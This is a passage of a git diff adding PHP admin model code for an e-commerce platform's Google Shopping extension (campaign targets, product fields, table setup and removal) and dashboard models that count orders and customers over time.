+ (is_array($requirements['countries']) && empty($requirements['countries']))
+ ) {
+ $result[$field] = $requirements;
+ }
+ }
+ }
+
+ return $result;
+ }
+
+ public function getRequiredFieldsByFilter($data, $store_id) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+ $countries = $this->getTargetCountriesByFilter($data, $store_id);
+
+ foreach ($countries as $country) {
+ foreach ($this->config->get('advertise_google_country_required_fields') as $field => $requirements) {
+ if (
+ (!empty($requirements['countries']) && in_array($country, $requirements['countries']))
+ ||
+ (is_array($requirements['countries']) && empty($requirements['countries']))
+ ) {
+ $result[$field] = $requirements;
+ }
+ }
+ }
+
+ return $result;
+ }
+
+ public function getTargetCountriesByProductIds($product_ids, $store_id) {
+ $sql = "SELECT DISTINCT agt.country FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (agt.advertise_google_target_id = pagt.advertise_google_target_id AND agt.store_id = pagt.store_id) WHERE pagt.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ") AND pagt.store_id=" . (int)$store_id;
+
+ return array_map(array($this, 'country'), $this->db->query($sql)->rows);
+ }
+
+ public function getTargetCountriesByFilter($data, $store_id) {
+ $sql = "SELECT DISTINCT agt.country FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (agt.advertise_google_target_id = pagt.advertise_google_target_id AND agt.store_id = pagt.store_id) LEFT JOIN `" . DB_PREFIX . "product` p ON (pagt.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = pagt.product_id) WHERE pagt.store_id=" . (int)$store_id . " AND pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ return array_map(array($this, 'country'), $this->db->query($sql)->rows);
+ }
+
+ public function getProductOptionsByProductIds($product_ids) {
+ $sql = "SELECT po.option_id, od.name FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option_description` od ON (od.option_id=po.option_id AND od.language_id=" . (int)$this->config->get('config_language_id') . ") LEFT JOIN `" . DB_PREFIX . "option` o ON (o.option_id = po.option_id) WHERE o.type IN ('select', 'radio') AND po.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function getProductOptionsByFilter($data) {
+ $sql = "SELECT DISTINCT po.option_id, od.name FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option_description` od ON (od.option_id=po.option_id AND od.language_id=" . (int)$this->config->get('config_language_id') . ") LEFT JOIN `" . DB_PREFIX . "option` o ON (o.option_id = po.option_id) LEFT JOIN `" . DB_PREFIX . "product` p ON (po.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = po.product_id) WHERE o.type IN ('select', 'radio') AND pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function addTarget($target, $store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_target` SET `store_id`=" . (int)$store_id . ", `campaign_name`='" . $this->db->escape($target['campaign_name']) . "', `country`='" . $this->db->escape($target['country']) . "', `budget`='" . (float)$target['budget'] . "', `feeds`='" . $this->db->escape(json_encode($target['feeds'])) . "', `date_added`=NOW(), `roas`=" . (int)$target['roas'] . " , `status`='" . $this->db->escape($target['status']) . "'";
+
+ $this->db->query($sql);
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteProducts($product_ids) {
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product_status` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ return true;
+ }
+
+ public function setAdvertisingBySelect($post_product_ids, $post_target_ids, $store_id) {
+ if (!empty($post_product_ids)) {
+ $product_ids = array_map(array($this->googleshopping, 'integer'), $post_product_ids);
+
+ $product_ids_expression = implode(',', $product_ids);
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE product_id IN (" . $product_ids_expression . ") AND store_id=" . (int)$store_id);
+
+ if (!empty($post_target_ids)) {
+ $target_ids = array_map(array($this->googleshopping, 'integer'), $post_target_ids);
+
+ $values = array();
+
+ foreach ($product_ids as $product_id) {
+ foreach ($target_ids as $target_id) {
+ $values[] = '(' . $product_id . ',' . $store_id . ',' . $target_id . ')';
+ }
+ }
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product_target` (`product_id`, `store_id`, `advertise_google_target_id`) VALUES " . implode(',', $values);
+
+ $this->db->query($sql);
+ }
+ }
+ }
+
+ public function setAdvertisingByFilter($data, $post_target_ids, $store_id) {
+ $sql = "DELETE pagt FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "product` p ON (pagt.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ $this->db->query($sql);
+
+ if (!empty($post_target_ids)) {
+ $target_ids = array_map(array($this->googleshopping, 'integer'), $post_target_ids);
+
+ $insert_sql = "SELECT p.product_id, " . (int)$store_id . " as store_id, '{TARGET_ID}' as advertise_google_target_id FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($insert_sql, $data);
+
+ foreach ($target_ids as $target_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product_target` (`product_id`, `store_id`, `advertise_google_target_id`) " . str_replace('{TARGET_ID}', (string)$target_id, $insert_sql);
+
+ $this->db->query($sql);
+ }
+ }
+ }
+
+ public function insertNewProducts($product_ids = array(), $store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`) SELECT p.product_id, p2s.store_id, (SELECT c2gpc.google_product_category FROM `" . DB_PREFIX . "product_to_category` p2c LEFT JOIN `" . DB_PREFIX . "category_path` cp ON (p2c.category_id = cp.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.path_id AND c2gpc.store_id = " . (int)$store_id . ") WHERE p2c.product_id = p.product_id AND c2gpc.google_product_category IS NOT NULL ORDER BY cp.level DESC LIMIT 0,1) as `google_product_category` FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_to_store` p2s ON (p2s.product_id = p.product_id AND p2s.store_id = " . (int)$store_id . ") LEFT JOIN `" . DB_PREFIX . "googleshopping_product` pag ON (pag.product_id = p.product_id AND pag.store_id=p2s.store_id) WHERE pag.product_id IS NULL AND p2s.store_id IS NOT NULL";
+
+ if (!empty($product_ids)) {
+ $sql .= " AND p.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+ }
+
+ $this->db->query($sql);
+ }
+
+ public function updateGoogleProductCategoryMapping($store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`) SELECT p.product_id, " . (int)$store_id . " as store_id, (SELECT c2gpc.google_product_category FROM `" . DB_PREFIX . "product_to_category` p2c LEFT JOIN `" . DB_PREFIX . "category_path` cp ON (p2c.category_id = cp.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.path_id AND c2gpc.store_id = " . (int)$store_id . ") WHERE p2c.product_id = p.product_id AND c2gpc.google_product_category IS NOT NULL ORDER BY cp.level DESC LIMIT 0,1) as `google_product_category` FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "googleshopping_product` pag ON (pag.product_id = p.product_id) WHERE pag.product_id IS NOT NULL ON DUPLICATE KEY UPDATE `google_product_category`=VALUES(`google_product_category`)";
+
+ $this->db->query($sql);
+ }
+
+ public function updateSingleProductFields($data) {
+ $values = array();
+
+ $entry = array();
+ $entry['product_id'] = (int)$data['product_id'];
+ $entry = array_merge($entry, $this->makeInsertData($data));
+
+ $values[] = "(" . implode(",", $entry) . ")";
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`, `condition`, `adult`, `multipack`, `is_bundle`, `age_group`, `color`, `gender`, `size_type`, `size_system`, `size`, `is_modified`) VALUES " . implode(',', $values) . " ON DUPLICATE KEY UPDATE " . $this->makeOnDuplicateKeyData();
+
+ $this->db->query($sql);
+ }
+
+ public function updateMultipleProductFields($filter_data, $data) {
+ $insert_sql = "SELECT p.product_id, {INSERT_DATA} FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($insert_sql, $filter_data);
+
+ $insert_data = array();
+ $keys[] = "`product_id`";
+
+ foreach ($this->makeInsertData($data) as $key => $value) {
+ $insert_data[] = $value . " as `" . $key . "`";
+ $keys[] = "`" . $key . "`";
+ }
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (" . implode(", ", $keys) . ") " . str_replace('{INSERT_DATA}', implode(", ", $insert_data), $insert_sql) . " ON DUPLICATE KEY UPDATE " . $this->makeOnDuplicateKeyData();
+
+ $this->db->query($sql);
+ }
+
+ protected function makeInsertData($data) {
+ $insert_data = array();
+
+ $insert_data['store_id'] = (int)$data['store_id'];
+ $insert_data['google_product_category'] = "'" . $this->db->escape($data['google_product_category']) . "'";
+ $insert_data['condition'] = "'" . $this->db->escape($data['condition']) . "'";
+ $insert_data['adult'] = (int)$data['adult'];
+ $insert_data['multipack'] = (int)$data['multipack'];
+ $insert_data['is_bundle'] = (int)$data['is_bundle'];
+ $insert_data['age_group'] = "'" . $this->db->escape($data['age_group']) . "'";
+ $insert_data['color'] = (int)$data['color'];
+ $insert_data['gender'] = "'" . $this->db->escape($data['gender']) . "'";
+ $insert_data['size_type'] = "'" . $this->db->escape($data['size_type']) . "'";
+ $insert_data['size_system'] = "'" . $this->db->escape($data['size_system']) . "'";
+ $insert_data['size'] = (int)$data['size'];
+ $insert_data['is_modified'] = 1;
+
+ return $insert_data;
+ }
+
+ protected function makeOnDuplicateKeyData() {
+ return "`google_product_category`=VALUES(`google_product_category`), `condition`=VALUES(`condition`), `adult`=VALUES(`adult`), `multipack`=VALUES(`multipack`), `is_bundle`=VALUES(`is_bundle`), `age_group`=VALUES(`age_group`), `color`=VALUES(`color`), `gender`=VALUES(`gender`), `size_type`=VALUES(`size_type`), `size_system`=VALUES(`size_system`), `size`=VALUES(`size`), `is_modified`=VALUES(`is_modified`)";
+ }
+
+ public function getCategories($data = array(), $store_id) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order FROM " . DB_PREFIX . "category_path cp LEFT JOIN `" . DB_PREFIX . "category_to_store` c2s ON (c2s.category_id = cp.category_id AND c2s.store_id=" . (int)$store_id . ") LEFT JOIN " . DB_PREFIX . "category c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "category c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (cp.category_id = cd2.category_id) WHERE c2s.store_id IS NOT NULL AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getProductCampaigns($product_id, $store_id) {
+ $sql = "SELECT agt.advertise_google_target_id, agt.campaign_name FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (pagt.advertise_google_target_id = agt.advertise_google_target_id) WHERE pagt.product_id=" . (int)$product_id . " AND pagt.store_id=" . (int)$store_id;
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function getProductIssues($product_id, $store_id) {
+ $this->load->model('localisation/language');
+
+ $sql = "SELECT pag.color, pag.size, pd.name, p.model FROM `" . DB_PREFIX . "googleshopping_product` pag LEFT JOIN `" . DB_PREFIX . "product` p ON (p.product_id = pag.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = pag.product_id AND pd.language_id=" . (int)$this->config->get('config_language_id') . ") WHERE pag.product_id=" . (int)$product_id . " AND pag.store_id=" . (int)$store_id;
+
+ $product_info = $this->db->query($sql)->row;
+
+ if (!empty($product_info)) {
+ $result = array();
+ $result['name'] = $product_info['name'];
+ $result['model'] = $product_info['model'];
+ $result['entries'] = array();
+
+ foreach ($this->model_localisation_language->getLanguages() as $language) {
+ $language_id = $language['language_id'];
+ $groups = $this->googleshopping->getGroups($product_id, $language_id, $product_info['color'], $product_info['size']);
+
+ $result['entries'][$language_id] = array(
+ 'language_name' => $language['name'],
+ 'issues' => array()
+ );
+
+ foreach ($groups as $id => $group) {
+ $issues = $this->db->query("SELECT * FROM `" . DB_PREFIX . "googleshopping_product_status` WHERE product_id=" . (int)$product_id . " AND store_id=" . (int)$store_id . " AND product_variation_id='" . $this->db->escape($id) . "'")->row;
+
+ $destination_statuses = !empty($issues['destination_statuses']) ? json_decode($issues['destination_statuses'], true) : array();
+ $data_quality_issues = !empty($issues['data_quality_issues']) ? json_decode($issues['data_quality_issues'], true) : array();
+ $item_level_issues = !empty($issues['item_level_issues']) ? json_decode($issues['item_level_issues'], true) : array();
+ $google_expiration_date = !empty($issues['google_expiration_date']) ? date($this->language->get('datetime_format'), $issues['google_expiration_date']) : $this->language->get('text_na');
+
+ $result['entries'][$language_id]['issues'][] = array(
+ 'color' => $group['color'] != "" ? $group['color'] : $this->language->get('text_na'),
+ 'size' => $group['size'] != "" ? $group['size'] : $this->language->get('text_na'),
+ 'destination_statuses' => $destination_statuses,
+ 'data_quality_issues' => $data_quality_issues,
+ 'item_level_issues' => $item_level_issues,
+ 'google_expiration_date' => $google_expiration_date
+ );
+ }
+ }
+
+ return $result;
+ }
+
+ return null;
+ }
+
+ /*
+ * Shortly after releasing the extension,
+ * we learned that the table names are actually
+ * clashing with third-party extensions.
+ * Hence, this renaming script was created.
+ */
+ public function renameTables() {
+ foreach ($this->rename_tables as $old_table => $new_table) {
+ $new_table_name = DB_PREFIX . $new_table;
+ $old_table_name = DB_PREFIX . $old_table;
+
+ if ($this->tableExists($old_table_name) && !$this->tableExists($new_table_name) && $this->tableColumnsMatch($old_table_name, $this->table_columns[$new_table])) {
+ $this->db->query("RENAME TABLE `" . $old_table_name . "` TO `" . $new_table_name . "`");
+ }
+ }
+ }
+
+ private function tableExists($table) {
+ return $this->db->query("SHOW TABLES LIKE '" . $table . "'")->num_rows > 0;
+ }
+
+ private function tableColumnsMatch($table, $columns) {
+ $num_columns = $this->db->query("SHOW COLUMNS FROM `" . $table . "` WHERE Field IN (" . implode(',', $this->wrap($columns, '"')) . ")")->num_rows;
+
+ return $num_columns == count($columns);
+ }
+
+ private function wrap($text, $char) {
+ if (is_array($text)) {
+ foreach ($text as &$string) {
+ $string = $char . $string . $char;
+ }
+
+ return $text;
+ } else {
+ return $char . $text . $char;
+ }
+ }
+
+ public function createTables() {
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product` (
+ `product_advertise_google_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `product_id` INT(11),
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `has_issues` TINYINT(1),
+ `destination_status` ENUM('pending','approved','disapproved') NOT NULL DEFAULT 'pending',
+ `impressions` INT(11) NOT NULL DEFAULT '0',
+ `clicks` INT(11) NOT NULL DEFAULT '0',
+ `conversions` INT(11) NOT NULL DEFAULT '0.0000',
+ `cost` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `conversion_value` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `google_product_category` VARCHAR(10),
+ `condition` ENUM('new','refurbished','used'),
+ `adult` TINYINT(1),
+ `multipack` INT(11),
+ `is_bundle` TINYINT(1),
+ `age_group` ENUM('newborn','infant','toddler','kids','adult'),
+ `color` INT(11),
+ `gender` ENUM('male','female','unisex'),
+ `size_type` ENUM('regular','petite','plus','big and tall','maternity'),
+ `size_system` ENUM('AU','BR','CN','DE','EU','FR','IT','JP','MEX','UK','US'),
+ `size` INT(11),
+ `is_modified` TINYINT(1) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`product_advertise_google_id`),
+ UNIQUE `product_id_store_id` (`product_id`, `store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product_status` (
+ `product_id` INT(11),
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `product_variation_id` varchar(64),
+ `destination_statuses` TEXT NOT NULL,
+ `data_quality_issues` TEXT NOT NULL,
+ `item_level_issues` TEXT NOT NULL,
+ `google_expiration_date` INT(11) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`product_id`, `store_id`, `product_variation_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product_target` (
+ `product_id` INT(11) NOT NULL,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `advertise_google_target_id` INT(11) UNSIGNED NOT NULL,
+ PRIMARY KEY (`product_id`, `advertise_google_target_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_category` (
+ `google_product_category` VARCHAR(10) NOT NULL,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `category_id` INT(11) NOT NULL,
+ INDEX `category_id_store_id` (`category_id`, `store_id`),
+ PRIMARY KEY (`google_product_category`, `store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_target` (
+ `advertise_google_target_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `campaign_name` varchar(255) NOT NULL DEFAULT '',
+ `country` varchar(2) NOT NULL DEFAULT '',
+ `budget` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `feeds` text NOT NULL,
+ `date_added` DATE,
+ `roas` INT(11) NOT NULL DEFAULT '0',
+ `status` ENUM('paused','active') NOT NULL DEFAULT 'paused',
+ INDEX `store_id` (`store_id`),
+ PRIMARY KEY (`advertise_google_target_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+ }
+
+ public function fixColumns() {
+ $has_auto_increment = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_product` WHERE Field='product_advertise_google_id' AND Extra LIKE '%auto_increment%'")->num_rows > 0;
+
+ if (!$has_auto_increment) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_product MODIFY COLUMN product_advertise_google_id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT");
+ }
+
+ $has_unique_key = $this->db->query("SHOW INDEX FROM `" . DB_PREFIX . "googleshopping_product` WHERE Key_name='product_id_store_id' AND Non_unique=0")->num_rows == 2;
+
+ if (!$has_unique_key) {
+ $index_exists = $this->db->query("SHOW INDEX FROM `" . DB_PREFIX . "googleshopping_product` WHERE Key_name='product_id_store_id'")->num_rows > 0;
+
+ if ($index_exists) {
+ $this->db->query("ALTER TABLE `" . DB_PREFIX . "googleshopping_product` DROP INDEX product_id_store_id;");
+ }
+
+ $this->db->query("CREATE UNIQUE INDEX product_id_store_id ON `" . DB_PREFIX . "googleshopping_product` (product_id, store_id)");
+ }
+
+ $has_date_added_column = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_target` WHERE Field='date_added'")->num_rows > 0;
+
+ if (!$has_date_added_column) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_target ADD COLUMN date_added DATE");
+
+ $this->db->query("UPDATE " . DB_PREFIX . "googleshopping_target SET date_added = NOW() WHERE date_added IS NULL");
+ }
+
+ $has_roas_column = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_target` WHERE Field='roas'")->num_rows > 0;
+
+ if (!$has_roas_column) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_target ADD COLUMN roas INT(11) NOT NULL DEFAULT '0'");
+ }
+ }
+
+ public function dropTables() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_target`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_category`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product_status`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product_target`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product`");
+ }
+
+ public function deleteEvents() {
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->deleteEventByCode('advertise_google');
+ }
+
+ public function createEvents() {
+ $this->load->model('setting/event');
+
+ foreach ($this->events as $trigger => $actions) {
+ foreach ($actions as $action) {
+ $this->model_setting_event->addEvent('advertise_google', $trigger, $action, 1, 0);
+ }
+ }
+ }
+
+ public function getAllowedTargets() {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+
+ foreach ($this->config->get('advertise_google_targets') as $target) {
+ $result[] = array(
+ 'country' => array(
+ 'code' => $target['country'],
+ 'name' => $this->googleshopping->getCountryName($target['country'])
+ ),
+ 'languages' => $this->googleshopping->getLanguages($target['languages']),
+ 'currencies' => $this->googleshopping->getCurrencies($target['currencies'])
+ );
+ }
+
+ return $result;
+ }
+
+ protected function country($row) {
+ return $row['country'];
+ }
+}
diff --git a/public/admin/model/extension/dashboard/activity.php b/public/admin/model/extension/dashboard/activity.php
new file mode 100644
index 0000000..2ed8cc9
--- /dev/null
+++ b/public/admin/model/extension/dashboard/activity.php
@@ -0,0 +1,8 @@
+db->query("SELECT `key`, `data`, `date_added` FROM `" . DB_PREFIX . "customer_activity` ORDER BY `date_added` DESC LIMIT 0,5");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/chart.php b/public/admin/model/extension/dashboard/chart.php
new file mode 100644
index 0000000..6e3f495
--- /dev/null
+++ b/public/admin/model/extension/dashboard/chart.php
@@ -0,0 +1,214 @@
+config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalCustomersByDay() {
+ $customer_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $customer_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $customer_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByWeek() {
+ $customer_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $customer_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByMonth() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $customer_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
